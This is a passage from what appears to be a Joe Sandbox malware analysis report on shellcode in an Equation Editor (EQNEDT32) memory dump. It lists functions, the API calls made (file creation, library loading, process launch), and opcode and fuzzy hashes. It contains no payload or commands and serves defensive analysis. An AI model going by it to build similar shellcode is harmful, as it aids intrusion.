CreateProcessW.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,03590592,?,03590570), ref: 035905CA
ExitProcess.KERNELBASE(00000000,?,035905D1,?,03590592,?,03590570,?,?,03590557,00000000,00000000,00000000,00000000,035903F5,00000050), ref: 035905E2

Memory Dump Source

Source File: 00000002.00000002.444520307.0000000003590000.00000004.00000020.00020000.00000000.sdmp, Offset: 03590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3590000_EQNEDT32.jbxd

Similarity

API ID: Process$CreateExitFileWrite
String ID:
API String ID: 3739231918-0
Opcode ID: d26a8295f2a3bfc1efaa8aa04e95a18b127ffe2b33cb040d0da394256dcd0fb0
Instruction ID: 0c9e5a90e30d8a9afa5dda6475775e17688e712700aaee73d2ae3b5f8fe2eac6
Opcode Fuzzy Hash: d26a8295f2a3bfc1efaa8aa04e95a18b127ffe2b33cb040d0da394256dcd0fb0
Instruction Fuzzy Hash: 8221A6B540C3455AEF11EB64EC80AAFBB69FFC1700F188D4BF192870B1DA7495089766

Uniqueness

Uniqueness Score: -1.00%

Function 035904E8 Relevance: 4.6, APIs: 3, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.444520307.0000000003590000.00000004.00000020.00020000.00000000.sdmp, Offset: 03590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3590000_EQNEDT32.jbxd

Similarity

API ID: Process$CreateExitFileWrite
String ID:
API String ID: 3739231918-0
Opcode ID: ec687970cd5e863647ec71913091ed8e96e7369ce3460fad760adeb2de576102
Instruction ID: 5b55de56d16d3f77625f288f53082a342a537f7b5e28436e37b017676ccc1085
Opcode Fuzzy Hash: ec687970cd5e863647ec71913091ed8e96e7369ce3460fad760adeb2de576102
Instruction Fuzzy Hash: 592188B14083455BEF11EA64DC84FAFF76AFFC1740F188D4EB192470B1DA7595088761

Uniqueness

Uniqueness Score: -1.00%

Function 035902D0 Relevance: 3.1, APIs: 2, Instructions: 85
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNELBASE(035902BE), ref: 035902D0

Part of subcall function 035902E9: CreateFileW.KERNELBASE(?,C0000000,00000001,00000000,00000002,00000080,00000000), ref: 03590395

Memory Dump Source

Source File: 00000002.00000002.444520307.0000000003590000.00000004.00000020.00020000.00000000.sdmp, Offset: 03590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3590000_EQNEDT32.jbxd

Similarity

API ID: CreateExitFileProcess
String ID:
API String ID: 2838702978-0
Opcode ID: ea9ceec6a0e7a5b78fbc5f5d5d2948ca6cbcadeb6e9e5a1dbfb5103c10cb95b0
Instruction ID: 0754cfec5f06aae6eced46fbbe65a2fbd10e2fa03424319cddee2af14c1d54a0
Opcode Fuzzy Hash: ea9ceec6a0e7a5b78fbc5f5d5d2948ca6cbcadeb6e9e5a1dbfb5103c10cb95b0
Instruction Fuzzy Hash: F621BF6540D7C05FFB11D7606E9A758BEA0BF4B600F1C8ECB81C58F1F3D2A5A14A9356

Uniqueness

Uniqueness Score: -1.00%

Function 03590563 Relevance: 3.1, APIs: 2, Instructions: 70
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.444520307.0000000003590000.00000004.00000020.00020000.00000000.sdmp, Offset: 03590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3590000_EQNEDT32.jbxd

Similarity

API ID: Process$CreateExit
String ID:
API String ID: 126409537-0
Opcode ID: 8231ee5b18957d3648bc57fc975aece0ec9b201bd18f6de92825622497ed5a63
Instruction ID: 67b0d33bb42bece405003d4d012b41b4a33391ecde3dba8f93ae024331834435
Opcode Fuzzy Hash: 8231ee5b18957d3648bc57fc975aece0ec9b201bd18f6de92825622497ed5a63
Instruction Fuzzy Hash: 1011E7F04083415BEE21E768EC84B9EFB6AFFC1300F188D4BE1824B0B6CA7485548665

Uniqueness

Uniqueness Score: -1.00%

Function 035905A1 Relevance: 3.1, APIs: 2, Instructions: 56
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,03590592,?,03590570), ref: 035905CA

Part of subcall function 035905DD: ExitProcess.KERNELBASE(00000000,?,035905D1,?,03590592,?,03590570,?,?,03590557,00000000,00000000,00000000,00000000,035903F5,00000050), ref: 035905E2

Memory Dump Source

Source File: 00000002.00000002.444520307.0000000003590000.00000004.00000020.00020000.00000000.sdmp, Offset: 03590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3590000_EQNEDT32.jbxd

Similarity

API ID: Process$CreateExit
String ID:
API String ID: 126409537-0
Opcode ID: cc04445753e1ca6f8d30d3611a3f9dac58b0c92c2cdc5dffd7fbd729de51b4ed
Instruction ID: d527466024da5529aa178f6fcd764473419ba670f666dc310763819c0bdb06d3
Opcode Fuzzy Hash: cc04445753e1ca6f8d30d3611a3f9dac58b0c92c2cdc5dffd7fbd729de51b4ed
Instruction Fuzzy Hash: AF01ACA950424251FFB0E668E8447F6B766FBC1700FCC9C5BA486470F5D76451C3C6E9

Uniqueness

Uniqueness Score: -1.00%

Function 03590580 Relevance: 3.1, APIs: 2, Instructions: 53
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.444520307.0000000003590000.00000004.00000020.00020000.00000000.sdmp, Offset: 03590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3590000_EQNEDT32.jbxd

Similarity

API ID: Process$CreateExit
String ID:
API String ID: 126409537-0
Opcode ID: ab6099e50a1536c03818295e56c65e109917f17f6d534d6b5d930f748458d395
Instruction ID: 669c1078489991c14b67652fddc60cdde03050fad4635b2da2257d4e2ac6fc77
Opcode Fuzzy Hash: ab6099e50a1536c03818295e56c65e109917f17f6d534d6b5d930f748458d395
Instruction Fuzzy Hash: B601A2F64083416AEF11E7A8EC84FABB76DFFC0300F488C4BA1568B0B1DA74955586A5

Uniqueness

Uniqueness Score: -1.00%

Function 03590259 Relevance: 1.6, APIs: 1, Instructions: 147
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,C0000000,00000001,00000000,00000002,00000080,00000000), ref: 03590395

Part of subcall function 035903AF: LoadLibraryW.KERNEL32(0359039F), ref: 035903AF

Memory Dump Source

Source File: 00000002.00000002.444520307.0000000003590000.00000004.00000020.00020000.00000000.sdmp, Offset: 03590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3590000_EQNEDT32.jbxd

Similarity

API ID: CreateFileLibraryLoad
String ID:
API String ID: 2049390123-0
Opcode ID: 08466a33bc151eb96c27a536a204423fdb2a401b39198ad3b6eb24cd9949cb52
Instruction ID: ef1eb81cd9c44ee9852d60c1dcad67df0a5e5ad3d23e0f0e0b5ef8022f4334ef
Opcode Fuzzy Hash: 08466a33bc151eb96c27a536a204423fdb2a401b39198ad3b6eb24cd9949cb52
Instruction Fuzzy Hash: 4641126140D7C15FEB12CB346D6A694BF64BF5B600B1C8ACBC1C44F1F3D265A14AD362

Uniqueness

Uniqueness Score: -1.00%

Function 035900AB Relevance: 1.6, APIs: 1, Instructions: 129
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.444520307.0000000003590000.00000004.00000020.00020000.00000000.sdmp, Offset: 03590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3590000_EQNEDT32.jbxd

Similarity

API ID: CreateExitFileProcess
String ID:
API String ID: 2838702978-0
Opcode ID: 6d6de990fe797286e064a2f262e62d974b589ff7f4d75b2c019d389a6ebc00bc
Instruction ID: 53ed08e6f5f21d0066e3ae65cb43b4db9947ab33ed8c5e516541e2156424e4ef
Opcode Fuzzy Hash: 6d6de990fe797286e064a2f262e62d974b589ff7f4d75b2c019d389a6ebc00bc
Instruction Fuzzy Hash: C041CC6140C3C08FFF11D6207E9A665BFA4BB07600F4E8EDB85824F0F3D294924AA353

Uniqueness

Uniqueness Score: -1.00%

Function 035900EB Relevance: 1.6, APIs: 1, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.444520307.0000000003590000.00000004.00000020.00020000.00000000.sdmp, Offset: 03590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3590000_EQNEDT32.jbxd

Similarity

API ID: CreateExitFileProcess
String ID:
API String ID: 2838702978-0
Opcode ID: f9eefd21bbc794892dd33f7cc53fed70693d3882f9914b97490317e015f93b55
Instruction ID: 1c84b6f3fe24e5d33b0d04ad9ed7a22ea466d577fef8ab85edc9f52ba9bcd751
Opcode Fuzzy Hash: f9eefd21bbc794892dd33f7cc53fed70693d3882f9914b97490317e015f93b55
Instruction Fuzzy Hash: 7B41CD6580D3C08FFF12D6607E9A665BF64BB07600F5E8EDB85824F0F3D294924AA353

Uniqueness

Uniqueness Score: -1.00%

Function 03590365 Relevance: 1.6, APIs: 1, Instructions: 126
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.444520307.0000000003590000.00000004.00000020.00020000.00000000.sdmp, Offset: 03590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3590000_EQNEDT32.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 5aa79df4ebd134425b0418eafa11f0fbb2d9ba4dc7a1d245d1fbef9500bf2495
Instruction ID: 6d7866130785b13b1bad01a52c9699810a23bbdd0ab81435140c00c9910668e6
Opcode Fuzzy Hash: 5aa79df4ebd134425b0418eafa11f0fbb2d9ba4dc7a1d245d1fbef9500bf2495
Instruction Fuzzy Hash: B141BD2044D3C16FEB22E7249D5AB69BF747F83600F2889CFE1854F0F3E66566059316

Uniqueness

Uniqueness Score: -1.00%

Function 0359040F Relevance: 1.6, APIs: 1, Instructions: 126
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.444520307.0000000003590000.00000004.00000020.00020000.00000000.sdmp, Offset: 03590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3590000_EQNEDT32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79d030c691eb325257c525efe830e11a8053abe78c6dd291c469d14947359298
Instruction ID: eedfb0e384fa8637a9b082288643451426452245d52ec022297043aa513ab469
Opcode Fuzzy Hash: 79d030c691eb325257c525efe830e11a8053abe78c6dd291c469d14947359298
Instruction Fuzzy Hash: 5831B76040C3C2AFEF11DB649D45B6ABF79BFC2600F188D8FF0854B0F2E66596188766

Uniqueness

Uniqueness Score: -1.00%

Function 03590136 Relevance: 1.6, APIs: 1, Instructions: 126
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.444520307.0000000003590000.00000004.00000020.00020000.00000000.sdmp, Offset: 03590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3590000_EQNEDT32.jbxd

Similarity

API ID: CreateExitFileProcess
String ID:
API String ID: 2838702978-0
Opcode ID: 2333f2cf7e3f74b253a55daf2f7288a82eead362f6b8a443f8e6401fdf3756e6
Instruction ID: 1ec8dddffbc93c831abbb176eb9385f3b9b8736b04afa0108b1e5af2e6c189a3
Opcode Fuzzy Hash: 2333f2cf7e3f74b253a55daf2f7288a82eead362f6b8a443f8e6401fdf3756e6
Instruction Fuzzy Hash: C541AC6540D3C08FFF11D6607E9A665BF64BB07600F5E8DDB85824F0F3D294924AA353

Uniqueness

Uniqueness Score: -1.00%

Function 035900AE Relevance: 1.6, APIs: 1, Instructions: 126
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.444520307.0000000003590000.00000004.00000020.00020000.00000000.sdmp, Offset: 03590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3590000_EQNEDT32.jbxd

Similarity

API ID: CreateExitFileProcess
String ID:
API String ID: 2838702978-0
Opcode ID: 7921c0718d071efa976133d24f1f59b1b54f69aa326bd927ce4ffa730d741742
Instruction ID: 94baacee84cc4ac44abad4b370b5c075a6b25cbb003d8863d5f6c918d884ee8d
Opcode Fuzzy Hash: 7921c0718d071efa976133d24f1f59b1b54f69aa326bd927ce4ffa730d741742
Instruction Fuzzy Hash: 3B41BD6540D3C08FFF11D6607E9A665BF64BB07600F4E8EDB85824F0F3D294924AA353

Uniqueness

Uniqueness Score: -1.00%

Function 0359007B Relevance: 1.6, APIs: 1, Instructions: 125
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.444520307.0000000003590000.00000004.00000020.00020000.00000000.sdmp, Offset: 03590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3590000_EQNEDT32.jbxd

Similarity

API ID: CreateExitFileProcess
String ID:
API String ID: 2838702978-0
Opcode ID: acfa80daeba94050e1de8608a8266b282a85768ad6ee74b4ce4577969f5755a6
Instruction ID: 930af8d2f761e7c62b9ef89d28a0940016e0e4ae8ee6d21ebe3f53fecfc13c32
Opcode Fuzzy Hash: acfa80daeba94050e1de8608a8266b282a85768ad6ee74b4ce4577969f5755a6
Instruction Fuzzy Hash: 7041BD6540D7C08FFF11DA607E9A665BFA4BB07600F4D8DDB85824F0F3D294A24AA353

Uniqueness

Uniqueness Score: -1.00%

Function 035900A1 Relevance: 1.6, APIs: 1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.444520307.0000000003590000.00000004.00000020.00020000.00000000.sdmp, Offset: 03590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3590000_EQNEDT32.jbxd

Similarity

API ID: CreateExitFileProcess
String ID:
API String ID: 2838702978-0
Opcode ID: 649e7a15633f4f10f5ba12daf6af4e744826f324c769b2532a6e37fb9c6b7ab3
Instruction ID: e3f57dc06ac6349629015dcc8768b46289ccc8602a2490951c919d9f970d08b8
Opcode Fuzzy Hash: 649e7a15633f4f10f5ba12daf6af4e744826f324c769b2532a6e37fb9c6b7ab3
Instruction Fuzzy Hash: D941AC6540D3C08FFF11D6207E9A665BFA4BB07600F4E8EDB85824F0F3D294924AA353

Uniqueness

Uniqueness Score: -1.00%

Function 035900DA Relevance: 1.6, APIs: 1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.444520307.0000000003590000.00000004.00000020.00020000.00000000.sdmp, Offset: 03590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3590000_EQNEDT32.jbxd

Similarity

API ID: CreateExitFileProcess
String ID:
API String ID: 2838702978-0
Opcode ID: e6e8548bcab6edb1107d54827f7a615732fc8966f76e471011d4f9d5f63d8f6d
Instruction ID: d380cf2f11568b7c4807ae9e7e827971bfc8f1477372b00396a4bbb744b17fa6
Opcode Fuzzy Hash: e6e8548bcab6edb1107d54827f7a615732fc8966f76e471011d4f9d5f63d8f6d
Instruction Fuzzy Hash: 1341BD6540D3C08FFF11D6607E9A665BF64BB07600F4D8DDB85824F0F3D294924AA353

Uniqueness

Uniqueness Score: -1.00%

Function 0359008E Relevance: 1.6, APIs: 1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.444520307.0000000003590000.00000004.00000020.00020000.00000000.sdmp, Offset: 03590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3590000_EQNEDT32.jbxd

Similarity

API ID: CreateExitFileProcess
String ID:
API String ID: 2838702978-0
Opcode ID: 3496ffe8af0ac140084e12d844f511c1fd9efc793bbe1b1c7c620673a3c7437e
Instruction ID: e0d96a2b4e32e90660900f401247d9c75e2ced32ce587e3b10bec37551c8bb84
Opcode Fuzzy Hash: 3496ffe8af0ac140084e12d844f511c1fd9efc793bbe1b1c7c620673a3c7437e
Instruction Fuzzy Hash: FD41BD6540D3C08FFF11D6607E9A665BF64BB07600F4D8DDB85824F0F3D294924AA353

Uniqueness

Uniqueness Score: -1.00%

Function 035900D4 Relevance: 1.6, APIs: 1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.444520307.0000000003590000.00000004.00000020.00020000.00000000.sdmp, Offset: 03590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3590000_EQNEDT32.jbxd

Similarity

API ID: CreateExitFileProcess
String ID:
API String ID: 2838702978-0
Opcode ID: 6cb95ba97b179244f8e338a3df6daf6f8434967f7e2830d87b26c29a4736d7c8
Instruction ID: e4e00f39ba3ab8b2b4ffad8c11264fcfad6e62a8b7f43fd1a1977f54791143c8
Opcode Fuzzy Hash: 6cb95ba97b179244f8e338a3df6daf6f8434967f7e2830d87b26c29a4736d7c8
Instruction Fuzzy Hash: 4741CC6540D3C08FFF12D6207E9A665BFA4BB07600F4D8DDB85824F0F3D294A24AA353

Uniqueness

Uniqueness Score: -1.00%

Function 0359009F Relevance: 1.6, APIs: 1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.444520307.0000000003590000.00000004.00000020.00020000.00000000.sdmp, Offset: 03590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3590000_EQNEDT32.jbxd

Similarity

API ID: CreateExitFileProcess
String ID:
API String ID: 2838702978-0
Opcode ID: 90e07c19572a4093e8df1e130215d4e5336916121f95f59d79cb96360901a8ab
Instruction ID: a8911cc4ce47d41a362e1e57e5c86a23894e3f67f82988c0956d231be04d1247
Opcode Fuzzy Hash: 90e07c19572a4093e8df1e130215d4e5336916121f95f59d79cb96360901a8ab
Instruction Fuzzy Hash: D641CC6540D3C08FFF12D6207E9A665BFA4BB07600F4D8EDB85824F0F3D294A24AA353

Uniqueness

Uniqueness Score: -1.00%

Function 03590094 Relevance: 1.6, APIs: 1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.444520307.0000000003590000.00000004.00000020.00020000.00000000.sdmp, Offset: 03590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3590000_EQNEDT32.jbxd

Similarity

API ID: CreateExitFileProcess
String ID:
API String ID: 2838702978-0
Opcode ID: c657b6e9f4091d1da4aa1c6035261f50145361ddf97d506de7459008a47ef813
Instruction ID: f4f7ef80dadab465d737b36a4345e5eacb0cf5099b123e778c3dcd18abb16415
Opcode Fuzzy Hash: c657b6e9f4091d1da4aa1c6035261f50145361ddf97d506de7459008a47ef813
Instruction Fuzzy Hash: D141CC6540D3C08FFF12D6207E9A665BFA4BB07600F4D8DDB85824F0F3D294A24AA353

Uniqueness

Uniqueness Score: -1.00%

Function 03590107 Relevance: 1.6, APIs: 1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.444520307.0000000003590000.00000004.00000020.00020000.00000000.sdmp, Offset: 03590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3590000_EQNEDT32.jbxd

Similarity

API ID: CreateExitFileProcess
String ID:
API String ID: 2838702978-0
Opcode ID: e638b376a4487c6a456ac93ce7437f9ab05b91c7dc568658768a8336c8d4ef95
Instruction ID: 00d3b0db23017e55b1816f423c2d2b83f7cec9d2c6e4eb560329ebdd7cc0c8d8
Opcode Fuzzy Hash: e638b376a4487c6a456ac93ce7437f9ab05b91c7dc568658768a8336c8d4ef95
Instruction Fuzzy Hash: 6441CC6540D3C08FFF12D6207E9A665BFA4BB07600F4D8DDB85824F0F3D294A24AA353

Uniqueness

Uniqueness Score: -1.00%

Function 035900B2 Relevance: 1.6, APIs: 1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.444520307.0000000003590000.00000004.00000020.00020000.00000000.sdmp, Offset: 03590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3590000_EQNEDT32.jbxd

Similarity

API ID: CreateExitFileProcess
String ID:
API String ID: 2838702978-0
Opcode ID: 59186500a37ffdea3106a67061b4928d13116d92195edc25f051790e969310fe
Instruction ID: 735ae54b85f1d9fb5f00725b90f251d1cb3a6fda3cda7e5095df7b6ca41178e7
Opcode Fuzzy Hash: 59186500a37ffdea3106a67061b4928d13116d92195edc25f051790e969310fe
Instruction Fuzzy Hash: B731BF6580D3C19FFF12D6606E9A665BF64BB07600F5D8ECBC5824F0F3D294A24AA353

Uniqueness

Uniqueness Score: -1.00%

Function 0359007F Relevance: 1.6, APIs: 1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.444520307.0000000003590000.00000004.00000020.00020000.00000000.sdmp, Offset: 03590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3590000_EQNEDT32.jbxd

Similarity

API ID: CreateExitFileProcess
String ID:
API String ID: 2838702978-0
Opcode ID: 212ef4689f40aa0bdb2ca3633087669991d14be32b53d127883c670fa1975699
Instruction ID: 7043e066b1b45c99cc660e3fd4e0898490a6879a1037c653b567d7bf63fd6507
Opcode Fuzzy Hash: 212ef4689f40aa0bdb2ca3633087669991d14be32b53d127883c670fa1975699
Instruction Fuzzy Hash: 9E31B06580D7C19FFB12D6606E9A655BF64BB07600F1D8ECB85814F0F3D294A24AA353

Uniqueness

Uniqueness Score: -1.00%

Function 035900FA Relevance: 1.6, APIs: 1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.444520307.0000000003590000.00000004.00000020.00020000.00000000.sdmp, Offset: 03590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3590000_EQNEDT32.jbxd

Similarity

API ID: CreateExitFileProcess
String ID:
API String ID: 2838702978-0
Opcode ID: 9f935678533a7fc563786887b11b06fae92a430cedc7808c7377b26c17a0e726
Instruction ID: dbfe2595f57b0755fb5ee6266c551a154e30cb59d7409b5fe33f4bc09fc91217
Opcode Fuzzy Hash: 9f935678533a7fc563786887b11b06fae92a430cedc7808c7377b26c17a0e726
Instruction Fuzzy Hash: 1C31CE6580D3C09FFB12D6206E9A665BF64BB47600F1D8DCBC5C24F1F3D295A24AA353

Uniqueness

Uniqueness Score: -1.00%

Function 035903AF Relevance: 1.6, APIs: 1, Instructions: 114libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(0359039F), ref: 035903AF

Memory Dump Source

Source File: 00000002.00000002.444520307.0000000003590000.00000004.00000020.00020000.00000000.sdmp, Offset: 03590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3590000_EQNEDT32.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 1b4b9441acc08caf761ef301c24d4a30e1d5ca95ee8f11c21f17188573157e1c
Instruction ID: 2b538192b9a0f69273c90754b10529df227546ac861e270fffa4e50b9760d756
Opcode Fuzzy Hash: 1b4b9441acc08caf761ef301c24d4a30e1d5ca95ee8f11c21f17188573157e1c
Instruction Fuzzy Hash: 7C31AD2044D3C16EEB12E7749D5AB29BF74BF83600F2849CFE1850F1F3E6555605D226

Uniqueness

Uniqueness Score: -1.00%

Function 03590101 Relevance: 1.6, APIs: 1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.444520307.0000000003590000.00000004.00000020.00020000.00000000.sdmp, Offset: 03590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3590000_EQNEDT32.jbxd

Similarity

API ID: CreateExitFileProcess
String ID:
API String ID: 2838702978-0
Opcode ID: 0ae92c29ef0a25f1bf9087bc24aa28e788412c4fd332ae4b4e819cc3fd7ef51e
Instruction ID: 52685983ec44e0c95444c539aa6de855cca76404b35a8147ceccbc59460cc405
Opcode Fuzzy Hash: 0ae92c29ef0a25f1bf9087bc24aa28e788412c4fd332ae4b4e819cc3fd7ef51e
Instruction Fuzzy Hash: 9D31DF6580D3C09FFB12D6206E9A665BF64BB07600F1D8DCBC5C14F0F3D294A24AA353

Uniqueness

Uniqueness Score: -1.00%

Function 03590123 Relevance: 1.6, APIs: 1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.444520307.0000000003590000.00000004.00000020.00020000.00000000.sdmp, Offset: 03590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3590000_EQNEDT32.jbxd

Similarity

API ID: CreateExitFileProcess
String ID:
API String ID: 2838702978-0
Opcode ID: 55acb1b902b0c2166eea14e2029fc259b18eef6c303f7bb2acbecb7e59dedaa2
Instruction ID: 7b0fc199e259731e4ea5e034d0331676001c626d6133840e8e5ea4ea9a66e780
Opcode Fuzzy Hash: 55acb1b902b0c2166eea14e2029fc259b18eef6c303f7bb2acbecb7e59dedaa2
Instruction Fuzzy Hash: EB31DF6580D7C09FFB12D6206E9A665BF64BB07600F1D8DCBC5C14F0F3D295A24AA353

Uniqueness

Uniqueness Score: -1.00%

Function 035900DD Relevance: 1.6, APIs: 1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.444520307.0000000003590000.00000004.00000020.00020000.00000000.sdmp, Offset: 03590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3590000_EQNEDT32.jbxd

Similarity

API ID: CreateExitFileProcess
String ID:
API String ID: 2838702978-0
Opcode ID: ef6f9140ac6238ac56ed7b6ac70911d04ca3142cb48f054132b6858b10d7b247
Instruction ID: 248cb8675d5dc7a3c88337d4db3de740c7be1e08b4fbc703a52faecbd1beae5b
Opcode Fuzzy Hash: ef6f9140ac6238ac56ed7b6ac70911d04ca3142cb48f054132b6858b10d7b247
Instruction Fuzzy Hash: 8231DF6580D3C09FFB12D6206E9A664BF64BB07600F1D8ECBC5C14F0F3D294A24AA353

Uniqueness

Uniqueness Score: -1.00%

Function 035900D6 Relevance: 1.6, APIs: 1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.444520307.0000000003590000.00000004.00000020.00020000.00000000.sdmp, Offset: 03590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3590000_EQNEDT32.jbxd

Similarity

API ID: CreateExitFileProcess
String ID:
API String ID: 2838702978-0
Opcode ID: 199e981767e0aee37e3fe7ccecb914fa137e76f32f63c26eb680ad58761b6a19
Instruction ID: c4939bfccbcbebef59e7b6f89b6cdc1336d573317d79b371b5cdcc84b5287986
Opcode Fuzzy Hash: 199e981767e0aee37e3fe7ccecb914fa137e76f32f63c26eb680ad58761b6a19
Instruction Fuzzy Hash: FD31DF6580D3C09FFB12D6206E9A664BF64BB07600F1D8DCBC5C14F0F3D294A24AA353

Uniqueness

Uniqueness Score: -1.00%

Function 035900B4 Relevance: 1.6, APIs: 1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.444520307.0000000003590000.00000004.00000020.00020000.00000000.sdmp, Offset: 03590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3590000_EQNEDT32.jbxd

Similarity

API ID: CreateExitFileProcess
String ID:
API String ID: 2838702978-0
Opcode ID: b5ebf514a3d50d5c65955edf55e34017b02ac87603f3386316b87d23451cc866
Instruction ID: 25d42e1b3f781b3b258fe31878f34ea5df2d797d33b419e896dbcb57790cfa38
Opcode Fuzzy Hash: b5ebf514a3d50d5c65955edf55e34017b02ac87603f3386316b87d23451cc866
Instruction Fuzzy Hash: F131E06580D3C09FFB12D6206E9A664BF64BB07600F1D8ECBC5C14F0F3D294A24AA353

Uniqueness

Uniqueness Score: -1.00%

Function 03590092 Relevance: 1.6, APIs: 1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.444520307.0000000003590000.00000004.00000020.00020000.00000000.sdmp, Offset: 03590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3590000_EQNEDT32.jbxd

Similarity

API ID: CreateExitFileProcess
String ID:
API String ID: 2838702978-0
Opcode ID: 0ed5f57f1a058cad450d11ad69cd670b5e552a24301b11f5cb68ad49e90c367e
Instruction ID: 42dba688c80a67fb9f66016fc2d2d9b24a9695a981596428eb66cb2f07b7a2fc
Opcode Fuzzy Hash: 0ed5f57f1a058cad450d11ad69cd670b5e552a24301b11f5cb68ad49e90c367e
Instruction Fuzzy Hash: 5C31CE6140D7C09FFB12D6606E6A664BF64BB47600F1D8ECBC5C18F0F3D294A24AA353

Uniqueness

Uniqueness Score: -1.00%

Function 03590089 Relevance: 1.6, APIs: 1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.444520307.0000000003590000.00000004.00000020.00020000.00000000.sdmp, Offset: 03590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3590000_EQNEDT32.jbxd

Similarity

API ID: CreateExitFileProcess
String ID:
API String ID: 2838702978-0
Opcode ID: 6fc1aee10ef0beeb26e6830feceba3cc663a012cc8923075439bfe3be43ae505
Instruction ID: 9fa9a679714fc62e22f2116ae964d90dfa717d8d9b1a63b29e4c7c64e3173fba
Opcode Fuzzy Hash: 6fc1aee10ef0beeb26e6830feceba3cc663a012cc8923075439bfe3be43ae505
